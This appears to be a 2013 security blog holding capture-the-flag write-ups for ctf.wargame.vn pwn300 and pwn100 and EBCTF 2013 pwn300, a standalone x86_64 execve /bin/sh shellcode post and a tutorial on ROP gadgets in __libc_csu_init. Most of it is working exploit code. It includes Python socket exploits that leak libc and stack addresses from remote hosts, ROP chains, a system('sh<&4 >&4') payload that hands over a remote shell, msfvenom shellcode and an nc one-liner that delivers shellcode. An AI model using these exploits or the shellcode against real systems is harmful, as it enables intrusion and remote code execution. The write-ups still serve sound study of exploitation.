Monday, August 12, 2013

ctf.wargame.vn - Pwn 300

For pwn300 challenge we were given a 32-bit ELF executable with NX enabled. Analysing the binary we have the following information

First recv() call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v14, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer

Its possible to send 40 bytes in recv() call by using NUL byte after 24th byte, but memset() clears this memory

Second recv() call
[*] recv(fd, &buf, 4, 0) is called, this 4 bytes is assigned to another memory location

Third recv() call, which is similar to first call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v13, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer

Fourth recv() call
[*] We can reach the fourth recv() call if strcmp(&v13, &v14) == 0
[*] After recv(), strcpy(&v14 + 32, &s) is called
[*] There is a function pointer v15 at [ebp-0x44], &v14 + 32 points to ebp-0x50. So strcpy() call overwrites function pointer, giving control of EIP
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
#ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send("C"*36)
This is how the memory looked like during crash.
gdb-peda$ info registers 
eax            0x43434343 0x43434343
ecx            0x0 0x0
edx            0x25 0x25
ebx            0xffffd10c 0xffffd10c
esp            0xffffd0cc 0xffffd0cc
ebp            0xffffd1a8 0xffffd1a8
esi            0x0 0x0
edi            0x0 0x0
eip            0x43434343 0x43434343
eflags         0x10246 [ PF ZF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63

gdb-peda$ x/50x $esp
0xffffd0cc: 0x08048bdc 0xffffd138 0xffffd168 0x00000028
0xffffd0dc: 0x00000000 0x42424242 0xffffd138 0x01ffd138
0xffffd0ec: 0xffffd144 0x41414141 0x41414141 0x41414141
0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000
0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430
0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242
0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd14c: 0x41414141 0x41414141 0x00000000 0x43434343
0xffffd15c: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd16c: 0x43434343 0x08048864 0x43434343 0x43434343
0xffffd17c: 0x43434300 0x08048864 0x43434343 0x43434343
0xffffd18c: 0x00000000 0x6e6f4320
The user input is spread out in stack. We need to point ESP to user controlled memory, to perform ROP.
0x08048f59: add esp, 0x1C ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
I used the above gadget to point ESP to user controlled buffer by overwriting function pointer with 0x8048f59. This is how the memory looked like after shifting the stack
soc.send(struct.pack("<I", 0x08048f59)*9
gdb-peda$ info registers 
eax            0x8048f59 0x8048f59
ecx            0x0 0x0
edx            0x25 0x25
ebx            0x1ffd138 0x1ffd138
esp            0xffffd0fc 0xffffd0fc
ebp            0x41414141 0x41414141
esi            0xffffd144 0xffffd144
edi            0x41414141 0x41414141
eip            0x41414141 0x41414141
eflags         0x10296 [ PF AF SF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/50wx $esp
0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000
0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430
0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242
0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd14c: 0x41414141 0x41414141 0x00000000 0x08048f59
0xffffd15c: 0x08048f59 0x08048f59 0x08048f59 0x08048f59
0xffffd16c: 0x08048f59 0x08048864 0x08048f59 0x08048f59
0xffffd17c: 0x08048f00 0x08048864 0x08048f59 0x08048f59
0xffffd18c: 0x00000000 0x6e6f4320 0x63696c66 0x000a2074
0xffffd19c: 0xbab92437 0x003f7ff4 0x003f7ff4 0xffffd318
0xffffd1ac: 0x08048d84 0x00000008 0xffffd2fc 0xffffd1d8
0xffffd1bc: 0x001c8594 0x00266c18
Information leak to get libc address:

strcpy() doesn't allow use of NUL bytes. To perform ret-2-libc, I need information leak. But chaining gadgets was difficult as I couldn't pass function parameters due to NUL byte restriction. handle() function had an intersting sequence of instruction to call send()
.text:08048A17                 mov     eax, [ebp+fd]
.text:08048A1A                 mov     [esp], eax      ; fd
.text:08048A1D                 call    _send
Now to take advantage of this, we need to setup a few things

[*] fd value needs to be 0x4
[*] [ebp+fd] should point to 0x4. We have a pop ebp in the gadget 0x8048f59
[*] pop a value into ebp such that ebp+0x8 points to 0x4
gdb-peda$ x/x 0x08048050
0x8048050: 0x00000004
We can pop address 0x08048048 into ebp, so that [ebp+8] points to 0x4, which is our socket descriptor. Entire exploitation thrives on information leak using the above described gadgets. Since fork() is called, the address layout doesnt change when new child is spawned
First idea was to leak the GOT entry of __libc_start_main to find the randomized address of libc. With information leak, I found that my local copy of libc matched with the remote libc version. So I can compute offsets with accuracy
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

got_libc_start_main = 0x0804b018
offset_libc_start_main = 0x193e0
offset_system = 0x3f430
offset_program_invocation_name = 0x1a58a0

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I", got_libc_start_main)*3)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
soc.recv(1024)
time.sleep(0.5)
addr = struct.unpack("<I",soc.recv(4))[0]
print "__libc_start_main: ", hex(addr)
base = addr - offset_libc_start_main

print "Base addr: ",hex(base)
print "System addr: ",hex(base + offset_system)
print "program_invocation_name: ",hex(base + offset_program_invocation_name)
[ctf@renorobert Mario CTF]$ python leak300.py 
__libc_start_main:  0xf74ba3e0
Base addr:  0xf74a1000
System addr:  0xf74e0430
program_invocation_name:  0xf76468a0
Leaking random address of stack:

With libc address found, my idea was to call system('/bin/sh'). But that wasn't enough, we need dup2(). I decided to pass "sh<&4 >&4" as parameter to system(). But first, we need to locate the address of string in stack. After analysing libc I found that program_invocation_name holds the random stack address. We already computed the address of program_invocation_name. Now lets leak the data in it.
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xf76468a0)*3)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
soc.recv(1024)
time.sleep(0.5)
print "Stack addr: ", hex(struct.unpack("<I",(soc.recv(256)[:4]))[0])
[ctf@renorobert Mario CTF]$ python leak300_stack.py 
Stack addr:  0xff94f3dd
So now we have the random stack address. Next we have to find the exact address of user string in stack memory

Finding address of string in stack:

Well, information leak again. We are going to read stack using the same set of gadgets to find the string.
soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xff94f3dd)*3)
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 
'pwn2\x00SHELL=/home/pwn2/pwn2\x00TERM=screen\x00USER=pwn2\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:\x00SUDO_USER=vnsec\x00SUDO_UID=1000\x00TERMCAP=SC|screen|VT 100/ANSI X3.64 virtual terminal'
By changing address, I read the stack memory and finally found the location of string at 0xff94e0ac
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 
'AAAAAAAAAAAAAAAAAAAAAAAA\x00/v\xf7\x189v\xf7\x01\x00\x00\x00\x00\x00\x00\x00d\x88\x04\x08BBBBAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08CCCCCCCCd\x88\x04\x08CCCCCCCCCCC\x00d\x88\x04\x08CCCCCCCCCCC\x00 Conflict \n\x00\x00UI\x9f\xf4_d\xf7\xf4_d\xf7'
Final exploit:

Now we have all the address needed to read flag. Below is the final exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
comm = "               sh<&4 >&4"

soc.send(comm)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0xf74e0430) + struct.pack("<I",0xff94e0ac)*3)
time.sleep(0.5)

soc.send(comm)
time.sleep(0.5)

soc.recv(1024)
soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
time.sleep(1)

soc.send("cat /home/pwn2/flag\n")
print repr(soc.recv(2048))
The flag for the challenge is mario_is_the_best_hacker_in_the_world

There are few globals in libc, which holds random address of stack and heap. Some globals that hold stack address are program_invocation_name, program_invocation_short_name and environ. More information in man program_invocation_name. __curbrk keeps track of heap address. It holds the address passed to brk() system call as the heap grows. Reading its value will give the random address of heap

ctf.wargame.vn - Pwn 100

Pwn 100 is a 64-bit ELF executable. The binary is simple, first it reads 8 bytes from user and passes it as address argument for mprotect() function call. Address has to be page aligned
.text:0000000000400890                 lea     rsi, [rbp+buf]  ; buf
.text:0000000000400894                 mov     eax, [rbp+fd]
.text:0000000000400897                 mov     ecx, 0          ; flags
.text:000000000040089C                 mov     edx, 8          ; n
.text:00000000004008A1                 mov     edi, eax        ; fd
.text:00000000004008A3                 call    _recv
.text:00000000004008A8                 mov     rax, [rbp+buf]
.text:00000000004008AC                 mov     edx, 7          ; prot
.text:00000000004008B1                 mov     esi, 400h       ; len
.text:00000000004008B6                 mov     rdi, rax        ; addr
.text:00000000004008B9                 call    _mprotect
Then, the binary receives 4 bytes of input using recv(4, buf, 4), then makes a call to buf using CALL RCX
.text:00000000004009DB                 mov     rax, [rbp+buf]
.text:00000000004009DF                 add     rax, 0FBh
.text:00000000004009E5                 mov     rsi, rax        ; buf
.text:00000000004009E8                 mov     eax, [rbp+fd]
.text:00000000004009EB                 mov     ecx, 0          ; flags
.text:00000000004009F0                 mov     edx, 4          ; n
.text:00000000004009F5                 mov     edi, eax        ; fd
.text:00000000004009F7                 call    _recv
.text:00000000004009FC                 mov     rax, [rbp+buf]
.text:0000000000400A00                 add     rax, 0FBh
.text:0000000000400A06                 mov     [rbp+var_8], rax
.text:0000000000400A0A                 mov     rdx, cs:FLAG
.text:0000000000400A11                 mov     eax, [rbp+fd]
.text:0000000000400A14                 mov     rcx, [rbp+var_8]
.text:0000000000400A18                 mov     rsi, rdx
.text:0000000000400A1B                 mov     edi, eax
.text:0000000000400A1D                 call    rcx
First we pass 0x0000000000400000 as address to mprotect(0x400000, 1024, 7). The we can pass 4 bytes of shellcode. The following input was passed to the executable
echo -ne '\x00\x00\x40\x00\x00\x00\x00\x00AAAA' | nc 127.0.0.1 4001
Below is the state of the program during the crash, viewed inside gdb.
RAX: 0x8 
RBX: 0x0 
RCX: 0x4000fb 
RDX: 0x400cac ("MARIO_", 'x' <repeats 18 times>)
RSI: 0x400cac ("MARIO_", 'x' <repeats 18 times>)
RDI: 0x8 
RIP: 0x4000fb

gdb-peda$ x/8x 0x4000fb
0x4000fb: 0x41 0x41 0x41 0x41 0x00 0x28 0x1e 0x60
We can observe a few things

[*] RIP is pointing to 0x4000fb
[*] RSI is pointing to 0x400cac, which looks like the buffer address of flag
[*] RAX is having the socket descriptor value

There is a f_shellcode(), with the following sequence to call send()
.text:000000000040082A                 mov     ecx, 0          ; flags
.text:000000000040082F                 mov     edx, 14h        ; n
.text:0000000000400834                 mov     edi, eax        ; fd
.text:0000000000400836                 call    _send
.text:000000000040083B                 leave
.text:000000000040083C                 retn
Since we have the registers already loaded, I tried reading the flag by jumping to the address of send() sequence. Here is the idea of shellcode

[*] Compute offset difference between current RIP and 0x40082A
[*] Perform a jump
>>> hex(0x40082A- 0x4000fb)
'0x72f'
nasm > jmp 0x72f
00000000  E92A070000        jmp dword 0x72f
So the final payload is
echo -ne '\x00\x00\x40\x00\x00\x00\x00\x00\xe9\x2a\x07\x00' | nc 42.117.7.116 4001
And I got the flag in reply, which is MARIO_PWN_THIS_FLAG

Tuesday, August 6, 2013

Stdin reopen & execve /bin/sh shellcode for Linux/x86_64

Wrote a Linux/x86_64 shellcode for stdin reopen during free time, as I couldn't find one easily. Total 57 bytes
/* gcc -z execstack -o shell shell.c */
/* stdin reopen & execve /bin/sh shellcode for Linux/x86_64 */

/* 
   0x600880 <code>:    xor    rax,rax
   0x600883 <code+3>:  push   rax
   0x600884 <code+4>:  pop    rdi
   0x600885 <code+5>:  mov    al,0x3
   0x600887 <code+7>:  syscall   ; close(0)
   0x600889 <code+9>:  push   rax
   0x60088a <code+10>: movabs rdi,0x7974742f7665642f
   0x600894 <code+20>: push   rdi
   0x600895 <code+21>: push   rsp
   0x600896 <code+22>: pop    rdi
   0x600897 <code+23>: push   rax
   0x600898 <code+24>: pop    rsi
   0x600899 <code+25>: mov    si,0x2702
   0x60089d <code+29>: mov    al,0x2
   0x60089f <code+31>: syscall ; open("/dev/tty", O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|O_ASYNC)
   0x6008a1 <code+33>: push   rax
   0x6008a2 <code+34>: movabs rdi,0x68732f2f6e69622f
   0x6008ac <code+44>: push   rdi
   0x6008ad <code+45>: push   rsp
   0x6008ae <code+46>: pop    rdi
   0x6008af <code+47>: push   rax
   0x6008b0 <code+48>: push   rdi
   0x6008b1 <code+49>: push   rsp
   0x6008b2 <code+50>: pop    rsi
   0x6008b3 <code+51>: cqo    
   0x6008b5 <code+53>: mov    al,0x3b
   0x6008b7 <code+55>: syscall   ; execve("/bin//sh", ["/bin//sh"], NULL)
*/

char code[] = 
"\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05"
"\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05"
"\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05";

void main(void) {
    void (*f)() = (void(*)())code;
    f();
}

Sunday, August 4, 2013

EBCTF 2013 Finals - pwn 300 - [Team SegFault]

Myself and Xelenonz worked on this challenge. Xelenonz found critical details about the challenge. He managed to take control of saved EIP in read_from_client() function. Below is the details about it
ascii_to_bin("abcdef",&str) => str = 0xabcdef
ascii_to_bin("deadbeef",&str) => str = 0xdeadbeef

echo `perl -e 'print "A"x72,"41"x4,"42"x4,"a8c00408","\r\n"'` | nc 127.0.0.1 7070
ret => 0x41414141
str is 0x20 bytes away from EBP. In ascii_to_bin(), we can see
*(_BYTE *)(i + str) = v2 | n_to_i(buf[2 * i + 1]);
This eventually leads to the vulnerability, as i value increases in loop, *(_BYTE *)(i + str) goes past allocated buffer in read_from_client(). Once this was found, we started building our exploit on top of this. Below is the idea of exploit

[*] Leak address of __libc_start_main from GOT using send()
[*] Return into read() to copy stage 2 payload into .data section
[*] Shift stack into .data section using leave; ret gadget
[*] Shifted stack has gadgets to return into mmap(), allocate a new memory with RWX
[*] Return into read() to copy shellcode into mmap()'ed region
[*] Jump into the starting address of mmap()'ed region

Leaked address of __libc_start_main was found to be 0xf76303e0. The __libc_start_main offset in my ubuntu VM was 0x193e0. Now
>>> hex(0xf76303e0 - 0x193e0)
'0xf7617000'
This very much looked like base address of libc. So we used address offsets from this libc and it worked. Below is the full exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = '127.0.0.1'
ip = '54.217.15.93'
port = 7070

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# msfvenom
shell = ( "\xbb\x3e\xa8\x55\xd1\xdb\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" +
          "\xb1\x0f\x31\x5a\x12\x83\xc2\x04\x03\x64\xa6\xb7\x24\xf2" +
          "\xbd\x6f\x5e\x50\xa4\xe7\x4d\x37\xa1\x1f\xe5\x98\xc2\xb7" +
          "\xf6\x8e\x0b\x2a\x9e\x20\xdd\x49\x32\x54\xc8\x8d\xb3\xa4" +
          "\xdc\xef\xda\xca\x0d\x83\x74\x32\x7f\x00\xa5\x41\x17\xfa" +
          "\x83\x91\xc7\x3c\xea\xed\x07\x16\xa1\x84\xe9\x55\xc5" )


payload  = "A"*72
payload += "938d0408" # pop2ret
payload += "41414141" #
payload += "00a00408" # need to be valid address
payload += "208a0408" # send(4,__libc_start_main,0x4,0) @ PLT
payload += "dca70408" # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += "04000000" # fd
payload += "64c00408" # buf
payload += "04000000" # size
payload += "00000000" # flag
payload += "c0870408" # read @ PLT
payload += "dca70408" # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += "04000000" # fd
payload += "c0c00408" # .data
payload += "00040000" # size
payload += "c0c00408" # .data
payload += "898a0408" # leave, ret; stack shifting 
payload += "\r\n"

soc.send(payload)
addr = struct.unpack("<I",(soc.recv(1024)))[0] # address leak
print hex(addr)

# stage 2

payload  = struct.pack("<I", 0x0804c0c0)     # .data
payload += struct.pack("<I", addr+(0xd1d00)) # mmap
payload += struct.pack("<I", 0x08048d90)     # add esp, 0x14 ; pop ebx ; pop ebp
payload += struct.pack("<I", 0xbadc000)      # address
payload += struct.pack("<I", 1024)           # size
payload += struct.pack("<I", 7)              # permission
payload += struct.pack("<I", 34)
payload += struct.pack("<I", 0x00)
payload += struct.pack("<I", 0x00)
payload += "MOVE"
payload += struct.pack("<I", 0x080487c0)     # read @ PLT
payload += struct.pack("<I", 0xbadc000)      # ret address
payload += struct.pack("<I", 0x4)            # fd
payload += struct.pack("<I", 0xbadc000)      # address
payload += struct.pack("<I", 1024)           # size

soc.send(payload + "\n")
time.sleep(1)

# stage 3
soc.send(shell+"\n")
soc.send("cat goproot/FLAG\n")
print soc.recv(1024)
Here is the flag for the challenge : ebCTF{35a6673b2243c925e02e85dfa916036f}

Monday, July 29, 2013

Some universal gadget sequence for Linux x86_64 ROP payload

Unlike x86, x86_64 ROP payload needs the parameters to function call in registers. __libc_csu_init functions provides a few nice gadgets to load data into certain critical registers. Most importantly EDI, RSI and RDX. This is the sample code:
// gcc -O3 -o rop rop.c
#include <unistd.h>

int main(void) {
    char buf[64];
    read(0, buf, 2048);
    return 0;
}
The code was compiled with gcc 4.8.0. Looking into the binary we can see the default functions
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
Below is the disassembly of __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x0000000000401830 <+0>: mov    QWORD PTR [rsp-0x28],rbp
   0x0000000000401835 <+5>: mov    QWORD PTR [rsp-0x20],r12
   0x000000000040183a <+10>: lea    rbp,[rip+0x2007c7]        # 0x602008
   0x0000000000401841 <+17>: lea    r12,[rip+0x2007b8]        # 0x602000
   0x0000000000401848 <+24>: mov    QWORD PTR [rsp-0x30],rbx
   0x000000000040184d <+29>: mov    QWORD PTR [rsp-0x18],r13
   0x0000000000401852 <+34>: mov    QWORD PTR [rsp-0x10],r14
   0x0000000000401857 <+39>: mov    QWORD PTR [rsp-0x8],r15
   0x000000000040185c <+44>: sub    rsp,0x38
   0x0000000000401860 <+48>: sub    rbp,r12
   0x0000000000401863 <+51>: mov    r15d,edi
   0x0000000000401866 <+54>: mov    r14,rsi
   0x0000000000401869 <+57>: sar    rbp,0x3
   0x000000000040186d <+61>: mov    r13,rdx
   0x0000000000401870 <+64>: xor    ebx,ebx
   0x0000000000401872 <+66>: call   0x400708 <_init>
   0x0000000000401877 <+71>: test   rbp,rbp
   0x000000000040187a <+74>: je     0x401896 <__libc_csu_init+102>
   0x000000000040187c <+76>: nop    DWORD PTR [rax+0x0]
   0x0000000000401880 <+80>: mov    rdx,r13
   0x0000000000401883 <+83>: mov    rsi,r14
   0x0000000000401886 <+86>: mov    edi,r15d
   0x0000000000401889 <+89>: call   QWORD PTR [r12+rbx*8]
   0x000000000040188d <+93>: add    rbx,0x1
   0x0000000000401891 <+97>: cmp    rbx,rbp
   0x0000000000401894 <+100>: jne    0x401880 <__libc_csu_init+80>
   0x0000000000401896 <+102>: mov    rbx,QWORD PTR [rsp+0x8]
   0x000000000040189b <+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x00000000004018a0 <+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x00000000004018a5 <+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x00000000004018aa <+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x00000000004018af <+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x00000000004018b4 <+132>: add    rsp,0x38
   0x00000000004018b8 <+136>: ret 
Controlling registers EDI and ESI:

Unaligned instrutions right at the bottom of the __libc_csu_init provides us with gadgets to load EDI and ESI
gdb-peda$ x/4i 0x00000000004018ab
   0x4018ab <__libc_csu_init+123>: mov    esi,DWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
gdb-peda$ x/3i 0x00000000004018b0
   0x4018b0 <__libc_csu_init+128>: mov    edi,DWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
These gadgets give us some control over EDI and ESI which makes up the first 2 parameters for making function call

Controlling registers EDI, RSI and RDX:

The 3rd parameter for function call is loaded into RDX, __libc_csu_init has the gadget to load RDX, but there are few other things we have to control
   0x0000000000401889 <+89>: call   QWORD PTR [r12+rbx*8]
   0x000000000040188d <+93>: add    rbx,0x1
   0x0000000000401891 <+97>: cmp    rbx,rbp
   0x0000000000401894 <+100>: jne    0x401880 <__libc_csu_init+80>
To effectively use mov rdx,r13 , we have to ensure that call QWORD PTR [r12+rbx*8] doesn't SIGSEGV, cmp rbx,rbp equals and most importantly value of RDX is not altered.
In _DYNAMIC variable ie. .dynamic section of executable we can find pointers to _init and _fini section
gdb-peda$ x/10x &_DYNAMIC 
0x6006f0: 0x0000000000000001 0x0000000000000010
0x600700: 0x000000000000000c 0x0000000000400378
0x600710: 0x000000000000000d 0x0000000000400618
0x600720: 0x0000000000000004 0x0000000000400240
0x600730: 0x0000000000000005 0x00000000004002c8
gdb-peda$ x/i 0x0000000000400378
   0x400378 <_init>: sub    rsp,0x8
gdb-peda$ x/i 0x0000000000400618
   0x400618 <_fini>: sub    rsp,0x8
gdb-peda$ x/gx 0x600718
0x600718: 0x0000000000400618
We can make call QWORD PTR [r12+rbx*8] point to 0x600718, so that _fini is called. This is what _fini looks like
gdb-peda$ disass _fini
Dump of assembler code for function _fini:
   0x0000000000400618 <+0>: sub    rsp,0x8
   0x000000000040061c <+4>: call   0x400480 <__do_global_dtors_aux>
   0x0000000000400621 <+9>: add    rsp,0x8
   0x0000000000400625 <+13>: ret    
End of assembler dump.
_fini function and subsequent functions called from _fini doesn't disturb the state of RDX register and RBX value is preserved. Below is the POC:
#!/usr/bin/env python

import struct

payload  = "A" * 72
payload += struct.pack("<Q", 0x00000000004005b6) 
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; 
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret
payload += "A" * 8

# Adjust Offset & Address such that 0x0a is avoided & call QWORD PTR [r12+rbx*8] points to _fini
payload += struct.pack("<Q", 0x0)        # Offset of pointer to _fini function in RBX
payload += struct.pack("<Q", 0x1)        # To pass cmp rbx,rbp check in RBP
payload += struct.pack("<Q", 0x600718)   # address in R12

payload += "B"*8       # Value for EDI register
payload += "C"*8       # Value for RSI register
payload += "D"*8       # Value for RDX register

payload += struct.pack("<Q", 0x00000000004005a0)
# mov rdx,r15; mov rsi,r14; mov edi,r13d; call QWORD PTR [r12+rbx*8]; add rbx,0x1; cmp rbx,rbp; jb 0x4005a0 <__libc_csu_init+80> 
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; 
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret

payload += "E"*56
payload += struct.pack("<Q", 0xdeadbeef)
print payload
Running the exploit we get
gdb-peda$ info registers
rax            0x7 0x7
rbx            0x4545454545454545 0x4545454545454545
rcx            0x38b7ad41d0 0x38b7ad41d0
rdx            0x4444444444444444 0x4444444444444444
rsi            0x4343434343434343 0x4343434343434343
rdi            0x42424242 0x42424242
rbp            0x4545454545454545 0x4545454545454545
rsp            0x7fffbbd90350 0x7fffbbd90350
r8             0x38b7d7a300 0x38b7d7a300
r9             0x38b720e8e0 0x38b720e8e0
r10            0x7fffbbd90000 0x7fffbbd90000
r11            0x246 0x246
r12            0x4545454545454545 0x4545454545454545
r13            0x4545454545454545 0x4545454545454545
r14            0x4545454545454545 0x4545454545454545
r15            0x4545454545454545 0x4545454545454545
rip            0xdeadbeef 0xdeadbeef
eflags         0x10206 [ PF IF RF ]
cs             0x33 0x33
ss             0x2b 0x2b
ds             0x0 0x0
es             0x0 0x0
fs             0x0 0x0
gs             0x0 0x0
gdb-peda$ x/i $rip
=> 0xdeadbeef: Cannot access memory at address 0xdeadbeef
We can see that EDI, RSI and RDX are loaded with user controlled data. One can also make call QWORD PTR [r12+rbx*8] point to GOT address of functions instead of _fini, as per requirement.

Stack Shifting gadget:

Another important gadget that __libc_csu_init provides is pop rsp. This can be used to shift stack to desired location, say .bss/.data section
gdb-peda$ x/9i 0x0000000000401898
   0x401898 <__libc_csu_init+104>: pop    rsp
   0x401899 <__libc_csu_init+105>: and    al,0x8
   0x40189b <__libc_csu_init+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x4018a0 <__libc_csu_init+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x4018a5 <__libc_csu_init+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x4018aa <__libc_csu_init+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret

Dereference with respect to RSP:

This gadget might be useful to work with function pointers in stack
gdb-peda$ x/16i 0x40188a
   0x40188a <__libc_csu_init+90>: call   QWORD PTR [rsp+rbx*8]
   0x40188d <__libc_csu_init+93>: add    rbx,0x1
   0x401891 <__libc_csu_init+97>: cmp    rbx,rbp
